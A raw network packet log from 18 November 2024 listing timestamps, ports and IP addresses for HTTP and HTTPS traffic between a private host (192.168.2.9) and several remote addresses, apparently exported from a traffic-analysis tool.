Nov 18, 2024 15:17:00.026875019 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:00.026901960 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:00.026916027 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:00.027188063 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:00.027257919 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:00.027272940 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:00.027307987 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:00.027327061 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:00.027363062 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:00.027376890 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:00.027403116 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:00.027412891 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:00.059782028 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:00.059807062 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:00.059818983 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:00.059847116 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:00.059876919 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:00.060003042 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:00.060014963 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:00.060127020 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:00.124011040 CET	443	49780	13.107.246.57	192.168.2.9
Nov 18, 2024 15:17:00.124021053 CET	443	49780	13.107.246.57	192.168.2.9
Nov 18, 2024 15:17:00.124044895 CET	443	49780	13.107.246.57	192.168.2.9
Nov 18, 2024 15:17:00.124053955 CET	443	49780	13.107.246.57	192.168.2.9
Nov 18, 2024 15:17:00.124072075 CET	49780	443	192.168.2.9	13.107.246.57
Nov 18, 2024 15:17:00.124078035 CET	443	49780	13.107.246.57	192.168.2.9
Nov 18, 2024 15:17:00.124083996 CET	443	49780	13.107.246.57	192.168.2.9
Nov 18, 2024 15:17:00.124109030 CET	49780	443	192.168.2.9	13.107.246.57
Nov 18, 2024 15:17:00.124159098 CET	49780	443	192.168.2.9	13.107.246.57
Nov 18, 2024 15:17:00.125396967 CET	443	49781	13.107.246.57	192.168.2.9
Nov 18, 2024 15:17:00.125441074 CET	443	49781	13.107.246.57	192.168.2.9
Nov 18, 2024 15:17:00.125468969 CET	49781	443	192.168.2.9	13.107.246.57
Nov 18, 2024 15:17:00.125482082 CET	443	49781	13.107.246.57	192.168.2.9
Nov 18, 2024 15:17:00.125510931 CET	49781	443	192.168.2.9	13.107.246.57
Nov 18, 2024 15:17:00.125587940 CET	49781	443	192.168.2.9	13.107.246.57
Nov 18, 2024 15:17:00.137691975 CET	443	49784	20.25.227.174	192.168.2.9
Nov 18, 2024 15:17:00.137706041 CET	443	49784	20.25.227.174	192.168.2.9
Nov 18, 2024 15:17:00.137732029 CET	443	49784	20.25.227.174	192.168.2.9
Nov 18, 2024 15:17:00.137743950 CET	443	49784	20.25.227.174	192.168.2.9
Nov 18, 2024 15:17:00.137757063 CET	443	49784	20.25.227.174	192.168.2.9
Nov 18, 2024 15:17:00.137775898 CET	49784	443	192.168.2.9	20.25.227.174
Nov 18, 2024 15:17:00.137787104 CET	443	49784	20.25.227.174	192.168.2.9
Nov 18, 2024 15:17:00.137870073 CET	49784	443	192.168.2.9	20.25.227.174
Nov 18, 2024 15:17:00.137923956 CET	49784	443	192.168.2.9	20.25.227.174
Nov 18, 2024 15:17:00.145191908 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:00.145277023 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:00.145282984 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:00.145307064 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:00.145328045 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:00.145340919 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:00.145351887 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:00.145354033 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:00.145394087 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:00.145720005 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:00.145752907 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:00.145766020 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:00.145813942 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:00.146074057 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:00.146115065 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:00.146140099 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:00.146152973 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:00.146188974 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:00.146215916 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:00.146254063 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:00.146296978 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:00.178699017 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:00.178715944 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:00.178730011 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:00.178782940 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:00.178807020 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:00.178808928 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:00.178843975 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:00.178853035 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:00.178867102 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:00.178936958 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:00.182337999 CET	443	49781	13.107.246.57	192.168.2.9
Nov 18, 2024 15:17:00.182359934 CET	443	49781	13.107.246.57	192.168.2.9
Nov 18, 2024 15:17:00.182436943 CET	49781	443	192.168.2.9	13.107.246.57
Nov 18, 2024 15:17:00.182460070 CET	443	49781	13.107.246.57	192.168.2.9
Nov 18, 2024 15:17:00.183264017 CET	49781	443	192.168.2.9	13.107.246.57
Nov 18, 2024 15:17:00.241671085 CET	443	49780	13.107.246.57	192.168.2.9
Nov 18, 2024 15:17:00.241684914 CET	443	49780	13.107.246.57	192.168.2.9
Nov 18, 2024 15:17:00.241703033 CET	443	49780	13.107.246.57	192.168.2.9
Nov 18, 2024 15:17:00.241709948 CET	443	49780	13.107.246.57	192.168.2.9
Nov 18, 2024 15:17:00.241734982 CET	49780	443	192.168.2.9	13.107.246.57
Nov 18, 2024 15:17:00.241755962 CET	443	49780	13.107.246.57	192.168.2.9
Nov 18, 2024 15:17:00.241770029 CET	443	49780	13.107.246.57	192.168.2.9
Nov 18, 2024 15:17:00.241787910 CET	49780	443	192.168.2.9	13.107.246.57
Nov 18, 2024 15:17:00.241818905 CET	49780	443	192.168.2.9	13.107.246.57
Nov 18, 2024 15:17:00.253202915 CET	443	49784	20.25.227.174	192.168.2.9
Nov 18, 2024 15:17:00.253216028 CET	443	49784	20.25.227.174	192.168.2.9
Nov 18, 2024 15:17:00.253261089 CET	443	49784	20.25.227.174	192.168.2.9
Nov 18, 2024 15:17:00.253302097 CET	49784	443	192.168.2.9	20.25.227.174
Nov 18, 2024 15:17:00.253317118 CET	443	49784	20.25.227.174	192.168.2.9
Nov 18, 2024 15:17:00.253321886 CET	443	49784	20.25.227.174	192.168.2.9
Nov 18, 2024 15:17:00.253350973 CET	49784	443	192.168.2.9	20.25.227.174
Nov 18, 2024 15:17:00.253350973 CET	49784	443	192.168.2.9	20.25.227.174
Nov 18, 2024 15:17:00.263953924 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:00.264025927 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:00.264070988 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:00.264084101 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:00.264094114 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:00.264127970 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:00.264143944 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:00.264173985 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:00.264224052 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:00.264256001 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:00.264267921 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:00.264281988 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:00.264296055 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:00.264328003 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:00.264683962 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:00.264730930 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:00.264743090 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:00.264786005 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:00.264806986 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:00.264830112 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:00.265247107 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:00.265275002 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:00.265288115 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:00.265311003 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:00.265326977 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:00.265484095 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:00.271068096 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:00.271409035 CET	443	49783	20.190.159.0	192.168.2.9
Nov 18, 2024 15:17:00.271431923 CET	443	49783	20.190.159.0	192.168.2.9
Nov 18, 2024 15:17:00.271466970 CET	443	49783	20.190.159.0	192.168.2.9
Nov 18, 2024 15:17:00.271495104 CET	49783	443	192.168.2.9	20.190.159.0
Nov 18, 2024 15:17:00.271505117 CET	443	49783	20.190.159.0	192.168.2.9
Nov 18, 2024 15:17:00.271531105 CET	49783	443	192.168.2.9	20.190.159.0
Nov 18, 2024 15:17:00.271974087 CET	49783	443	192.168.2.9	20.190.159.0
Nov 18, 2024 15:17:00.271986961 CET	443	49783	20.190.159.0	192.168.2.9
Nov 18, 2024 15:17:00.271996021 CET	49783	443	192.168.2.9	20.190.159.0
Nov 18, 2024 15:17:00.272128105 CET	443	49783	20.190.159.0	192.168.2.9
Nov 18, 2024 15:17:00.272159100 CET	443	49783	20.190.159.0	192.168.2.9
Nov 18, 2024 15:17:00.272217035 CET	49783	443	192.168.2.9	20.190.159.0
Nov 18, 2024 15:17:00.297485113 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:00.297499895 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:00.297513008 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:00.297544956 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:00.297570944 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:00.297807932 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:00.297821045 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:00.297832012 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:00.297849894 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:00.297875881 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:00.299995899 CET	443	49781	13.107.246.57	192.168.2.9
Nov 18, 2024 15:17:00.300021887 CET	443	49781	13.107.246.57	192.168.2.9
Nov 18, 2024 15:17:00.300110102 CET	49781	443	192.168.2.9	13.107.246.57
Nov 18, 2024 15:17:00.300110102 CET	49781	443	192.168.2.9	13.107.246.57
Nov 18, 2024 15:17:00.300133944 CET	443	49781	13.107.246.57	192.168.2.9
Nov 18, 2024 15:17:00.300201893 CET	49781	443	192.168.2.9	13.107.246.57
Nov 18, 2024 15:17:00.347259045 CET	49785	443	192.168.2.9	20.25.227.174
Nov 18, 2024 15:17:00.347310066 CET	443	49785	20.25.227.174	192.168.2.9
Nov 18, 2024 15:17:00.347388983 CET	49785	443	192.168.2.9	20.25.227.174
Nov 18, 2024 15:17:00.347879887 CET	49785	443	192.168.2.9	20.25.227.174
Nov 18, 2024 15:17:00.347922087 CET	443	49785	20.25.227.174	192.168.2.9
Nov 18, 2024 15:17:00.368593931 CET	443	49784	20.25.227.174	192.168.2.9
Nov 18, 2024 15:17:00.368623018 CET	443	49784	20.25.227.174	192.168.2.9
Nov 18, 2024 15:17:00.368659019 CET	49784	443	192.168.2.9	20.25.227.174
Nov 18, 2024 15:17:00.368675947 CET	443	49784	20.25.227.174	192.168.2.9
Nov 18, 2024 15:17:00.368707895 CET	49784	443	192.168.2.9	20.25.227.174
Nov 18, 2024 15:17:00.368797064 CET	49784	443	192.168.2.9	20.25.227.174
Nov 18, 2024 15:17:00.374870062 CET	443	49781	13.107.246.57	192.168.2.9
Nov 18, 2024 15:17:00.374891043 CET	443	49781	13.107.246.57	192.168.2.9
Nov 18, 2024 15:17:00.374967098 CET	49781	443	192.168.2.9	13.107.246.57
Nov 18, 2024 15:17:00.374978065 CET	443	49781	13.107.246.57	192.168.2.9
Nov 18, 2024 15:17:00.375030994 CET	49781	443	192.168.2.9	13.107.246.57
Nov 18, 2024 15:17:00.375193119 CET	49781	443	192.168.2.9	13.107.246.57
Nov 18, 2024 15:17:00.381619930 CET	49786	443	192.168.2.9	20.190.159.0
Nov 18, 2024 15:17:00.381671906 CET	443	49786	20.190.159.0	192.168.2.9
Nov 18, 2024 15:17:00.381745100 CET	49786	443	192.168.2.9	20.190.159.0
Nov 18, 2024 15:17:00.382036924 CET	49786	443	192.168.2.9	20.190.159.0
Nov 18, 2024 15:17:00.382052898 CET	443	49786	20.190.159.0	192.168.2.9
Nov 18, 2024 15:17:00.383151054 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:00.383177042 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:00.383189917 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:00.383212090 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:00.383243084 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:00.383265972 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:00.383277893 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:00.383306026 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:00.383333921 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:00.383472919 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:00.383514881 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:00.383524895 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:00.383538961 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:00.383559942 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:00.383624077 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:00.383671045 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:00.383694887 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:00.383708000 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:00.383735895 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:00.384088039 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:00.384100914 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:00.384114027 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:00.384125948 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:00.384135962 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:00.384150028 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:00.384180069 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:00.390644073 CET	443	49780	13.107.246.57	192.168.2.9
Nov 18, 2024 15:17:00.390712023 CET	49780	443	192.168.2.9	13.107.246.57
Nov 18, 2024 15:17:00.390724897 CET	443	49780	13.107.246.57	192.168.2.9
Nov 18, 2024 15:17:00.390981913 CET	49780	443	192.168.2.9	13.107.246.57
Nov 18, 2024 15:17:00.391374111 CET	49780	443	192.168.2.9	13.107.246.57
Nov 18, 2024 15:17:00.391396046 CET	443	49780	13.107.246.57	192.168.2.9
Nov 18, 2024 15:17:00.391406059 CET	49780	443	192.168.2.9	13.107.246.57
Nov 18, 2024 15:17:00.391498089 CET	49780	443	192.168.2.9	13.107.246.57
Nov 18, 2024 15:17:00.416476965 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:00.416522026 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:00.416534901 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:00.416580915 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:00.416616917 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:00.416687965 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:00.416701078 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:00.416713953 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:00.416742086 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:00.416762114 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:00.416783094 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:00.416805983 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:00.476866007 CET	443	49781	13.107.246.57	192.168.2.9
Nov 18, 2024 15:17:00.476897001 CET	443	49781	13.107.246.57	192.168.2.9
Nov 18, 2024 15:17:00.476993084 CET	49781	443	192.168.2.9	13.107.246.57
Nov 18, 2024 15:17:00.477004051 CET	443	49781	13.107.246.57	192.168.2.9
Nov 18, 2024 15:17:00.477062941 CET	49781	443	192.168.2.9	13.107.246.57
Nov 18, 2024 15:17:00.484036922 CET	443	49784	20.25.227.174	192.168.2.9
Nov 18, 2024 15:17:00.484060049 CET	443	49784	20.25.227.174	192.168.2.9
Nov 18, 2024 15:17:00.484106064 CET	49784	443	192.168.2.9	20.25.227.174
Nov 18, 2024 15:17:00.484118938 CET	443	49784	20.25.227.174	192.168.2.9
Nov 18, 2024 15:17:00.484143972 CET	49784	443	192.168.2.9	20.25.227.174
Nov 18, 2024 15:17:00.484163046 CET	49784	443	192.168.2.9	20.25.227.174
Nov 18, 2024 15:17:00.501606941 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:00.501666069 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:00.501697063 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:00.501739979 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:00.501919985 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:00.501955986 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:00.502049923 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:00.502063990 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:00.502075911 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:00.502087116 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:00.502100945 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:00.502120018 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:00.502196074 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:00.502266884 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:00.502279043 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:00.502288103 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:00.502293110 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:00.502295971 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:00.502329111 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:00.502412081 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:00.502574921 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:00.503106117 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:00.503122091 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:00.503138065 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:00.503150940 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:00.503180981 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:00.503587961 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:00.503593922 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:00.503657103 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:00.535917044 CET	443	49781	13.107.246.57	192.168.2.9
Nov 18, 2024 15:17:00.535955906 CET	443	49781	13.107.246.57	192.168.2.9
Nov 18, 2024 15:17:00.536024094 CET	49781	443	192.168.2.9	13.107.246.57
Nov 18, 2024 15:17:00.536024094 CET	49781	443	192.168.2.9	13.107.246.57
Nov 18, 2024 15:17:00.536037922 CET	443	49781	13.107.246.57	192.168.2.9
Nov 18, 2024 15:17:00.536092997 CET	49781	443	192.168.2.9	13.107.246.57
Nov 18, 2024 15:17:00.537339926 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:00.537394047 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:00.537404060 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:00.537420988 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:00.537439108 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:00.537457943 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:00.537520885 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:00.537534952 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:00.537548065 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:00.537570953 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:00.537600040 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:00.599247932 CET	443	49784	20.25.227.174	192.168.2.9
Nov 18, 2024 15:17:00.599272966 CET	443	49784	20.25.227.174	192.168.2.9
Nov 18, 2024 15:17:00.599328995 CET	49784	443	192.168.2.9	20.25.227.174
Nov 18, 2024 15:17:00.599344015 CET	443	49784	20.25.227.174	192.168.2.9
Nov 18, 2024 15:17:00.599364996 CET	49784	443	192.168.2.9	20.25.227.174
Nov 18, 2024 15:17:00.599385023 CET	49784	443	192.168.2.9	20.25.227.174
Nov 18, 2024 15:17:00.620795012 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:00.620856047 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:00.621098995 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:00.621110916 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:00.621165991 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:00.621181011 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:00.621195078 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:00.621210098 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:00.621223927 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:00.621227026 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:00.621263981 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:00.621407032 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:00.621419907 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:00.621465921 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:00.621927023 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:00.621963024 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:00.621978998 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:00.622005939 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:00.622026920 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:00.622039080 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:00.622051954 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:00.622072935 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:00.622072935 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:00.622103930 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:00.622133017 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:00.652323961 CET	443	49781	13.107.246.57	192.168.2.9
Nov 18, 2024 15:17:00.652349949 CET	443	49781	13.107.246.57	192.168.2.9
Nov 18, 2024 15:17:00.652426958 CET	49781	443	192.168.2.9	13.107.246.57
Nov 18, 2024 15:17:00.652436972 CET	443	49781	13.107.246.57	192.168.2.9
Nov 18, 2024 15:17:00.652462959 CET	49781	443	192.168.2.9	13.107.246.57
Nov 18, 2024 15:17:00.652519941 CET	49781	443	192.168.2.9	13.107.246.57
Nov 18, 2024 15:17:00.655699968 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:00.655749083 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:00.655756950 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:00.655761957 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:00.655793905 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:00.655807018 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:00.656021118 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:00.656033039 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:00.656069994 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:00.656083107 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:00.708983898 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:00.709002972 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:00.709019899 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:00.709049940 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:00.709074020 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:00.711165905 CET	443	49781	13.107.246.57	192.168.2.9
Nov 18, 2024 15:17:00.711189032 CET	443	49781	13.107.246.57	192.168.2.9
Nov 18, 2024 15:17:00.711226940 CET	49781	443	192.168.2.9	13.107.246.57
Nov 18, 2024 15:17:00.711244106 CET	443	49781	13.107.246.57	192.168.2.9
Nov 18, 2024 15:17:00.711267948 CET	49781	443	192.168.2.9	13.107.246.57
Nov 18, 2024 15:17:00.711304903 CET	49781	443	192.168.2.9	13.107.246.57
Nov 18, 2024 15:17:00.714482069 CET	443	49784	20.25.227.174	192.168.2.9
Nov 18, 2024 15:17:00.714507103 CET	443	49784	20.25.227.174	192.168.2.9
Nov 18, 2024 15:17:00.714577913 CET	49784	443	192.168.2.9	20.25.227.174
Nov 18, 2024 15:17:00.714591980 CET	443	49784	20.25.227.174	192.168.2.9
Nov 18, 2024 15:17:00.714694023 CET	49784	443	192.168.2.9	20.25.227.174
